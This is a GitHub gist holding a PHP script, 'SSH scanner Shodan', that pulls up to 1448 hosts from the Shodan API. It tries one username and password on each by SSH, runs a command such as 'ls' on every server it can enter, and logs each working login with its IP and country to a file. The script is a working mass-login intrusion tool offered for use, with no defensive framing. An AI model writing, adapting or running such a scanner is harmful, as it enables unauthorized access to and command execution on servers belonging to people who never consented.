Created
January 13, 2017 21:39
-
-
Save random-robbie/74dffd0b1adaf1566a04592a2f85544a to your computer and use it in GitHub Desktop.
SSH scanner Shodan
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(E_ALL); | |
//ini_set('display_errors', 1); | |
error_reporting(0); | |
require __DIR__ . '/vendor/autoload.php'; | |
use \Curl\Curl; | |
#REQUIRES https://github.com/php-curl-class/php-curl-class so ensure you have composer | |
#composer require php-curl-class/php-curl-class | |
#NEEDS PHP-SSH2 installed and curl!! | |
############### CONFIG ########################### | |
$query = ''; | |
$api_key = ""; | |
$username = ""; | |
$password = ""; | |
################################################## | |
file_put_contents('results.json', ''); | |
function execute_command ($serverip,$port,$username,$password,$final_command,$country) | |
{ | |
$ssh = new \phpseclib\Net\SSH2($serverip,$port = 22,$timeout = 5); | |
if (!$ssh->login($username, $password)) { | |
//Error Logging in. | |
return(false); | |
} | |
function packet_handler($str) | |
{ | |
echo $str; | |
} | |
$ssh->exec($final_command); | |
$workingtxt = fopen("working.txt", "a") or die("Unable to open file!"); | |
$txt = "ssh ".$username."@".$serverip." --password = ".$password." -- Country:".$country."\n"; | |
fwrite($workingtxt, $txt); | |
fclose($workingtxt); | |
return true; | |
} | |
$curl = new Curl(); | |
$curl->get('https://api.shodan.io/shodan/host/search', array( | |
'key' => $api_key, | |
'query' => $query, | |
'count' => '1448' | |
)); | |
if ($curl->error) { | |
echo 'Error: ' . $curl->errorCode . ': ' . $curl->errorMessage; | |
} | |
else { | |
$grabdata = "".$curl->rawResponse.""; | |
$write_json = fopen("results.json", "w") or die("Unable to open file!"); | |
fwrite($write_json, $grabdata); | |
fclose($write_json); | |
} | |
$jsonfile = file_get_contents("results.json"); | |
$json = json_decode ($jsonfile); | |
foreach ($json->matches as $results) | |
{ | |
$country = $results->location->country_code3; | |
$final_command = "ls"; | |
$working = execute_command ($results->ip_str,$results->port,$username,$password,$final_command,$country); | |
if ($working) | |
{ | |
echo "Working ".$results->ip_str." - ".$country."\n"; | |
} else { | |
echo "Not Working ".$results->ip_str." - ".$country." \n"; | |
} | |
} | |
?> | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment